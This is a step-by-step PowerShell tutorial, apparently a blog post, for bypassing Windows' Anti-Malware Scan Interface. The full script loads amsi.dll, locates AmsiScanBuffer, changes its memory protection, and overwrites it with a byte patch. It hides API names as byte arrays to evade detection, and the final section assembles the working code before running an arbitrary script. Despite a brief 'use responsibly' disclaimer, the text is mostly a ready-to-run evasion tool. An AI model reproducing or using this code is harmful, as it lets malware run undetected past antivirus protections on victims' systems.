Bypass AMSI Like a King
Describes how to bypass the Anti-Malware Scan Interface (AMSI) using PowerShell.
Summary
This document describes how to bypass the Anti-Malware Scan Interface (AMSI) using PowerShell. It involves loading the amsi.dll into memory, finding the memory address of the AmsiScanBuffer function, and changing the memory protection to allow writing and executing code. Shellcode is then injected, and a PowerShell script is run. This method is mainly used for cybersecurity research and testing purposes and should be used responsibly.
1. Defining a C## Class with PInvoke Methods
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$Win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
In PowerShell, you can’t directly call functions from Windows DLLs like kernel32.dll or user32.dll. These DLLs contain functions written in languages like C or C++. However, you can use a feature called PInvoke (Platform Invocation Services) to call these functions from PowerShell. PInvoke allows managed code (like C##) to call unmanaged functions.
Explanation:
- This part of the code defines a C## class
Win32using a here-string (@" ... "@) in PowerShell. - This class contains three methods:
GetProcAddress,LoadLibrary, andVirtualProtect. - These methods use the
[DllImport]attribute, which tells the .NET runtime to look for these functions in the specified DLLs (kernel32.dllin this case). GetProcAddressretrieves the address of an exported function from a DLL.LoadLibraryloads a DLL into the process’s address space.VirtualProtectchanges the protection on a region of memory.
2. Loading amsi.dll
1
2
3
$nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere))
The script aims to interact with functions from amsi.dll, which is a Windows DLL containing functions related to the Anti-Malware Scan Interface (AMSI). Before you can use functions from a DLL, you need to load the DLL into memory. The LoadLibrary function from kernel32.dll is used for this purpose.
Explanation:
- This part initializes a byte array
$nowhererepresenting the ASCII characters of the string “amsi.dll”. - It then calls the
LoadLibrarymethod from theWin32class to loadamsi.dllinto memory. - The result, which is a handle to the loaded DLL, is stored in the variable
$LoadLibrary.
3. Getting the Address of AmsiScanBuffer
1
2
$somewhere = [Byte[]](0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere))
The script needs to find the memory address of the AmsiScanBuffer function inside amsi.dll. This is necessary to modify or intercept the behavior of the AmsiScanBuffer function later in the script. The GetProcAddress function from kernel32.dll is used to retrieve the address of a function within a loaded DLL.
Explanation:
- This part initializes a byte array
$somewhererepresenting the ASCII characters of the string “AmsiScanBuffer”. - It calls the
GetProcAddressmethod from theWin32class to retrieve the address of theAmsiScanBufferfunction withinamsi.dll. - The resulting memory address is stored in the variable
$notaddress.
4. Changing Memory Protection
1
2
3
$notp = 0
$replace = 'VirtualProtec'
[Win32]::('{0}{1}' -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)
Explanation:
- This part sets up a variable
$notpto hold the old protection value. - It constructs the name of the
VirtualProtectmethod dynamically using the variable$replace. - Then, it calls the dynamically constructed method to change the memory protection of the
AmsiScanBufferfunction to allow writing and executing code.
5. Injecting Shellcode
1
2
3
$stopitplease = [Byte[]] (0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3)
$marshalClass = [System.Runtime.InteropServices.Marshal]
$marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)
6. Executing Your PowerShell Script
1
2
Unblock-File -Path .\malas.ps1
. .\malas.ps1
Explanation:
- This part of the code unblocks the script file
malas.ps1, if it was blocked for security reasons. - Then, it executes the
malas.ps1script by dot-sourcing it (.operator followed by the script name). This runs the script in the current PowerShell session.
7. Final Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$c = 't'
$Win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtec$c(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere))
$somewhere = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere))
$notp = 0
$replace = 'VirtualProtec'
[Win32]::('{0}{1}' -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)
$stopitplease = [Byte[]] (0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3)
$marshalClass = [System.Runtime.InteropServices.Marshal]
$marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)
8. Run you powershell script
1
2
3
Run your powershell here
Unblock-File -Path .\malas.ps1
. .\malas.ps1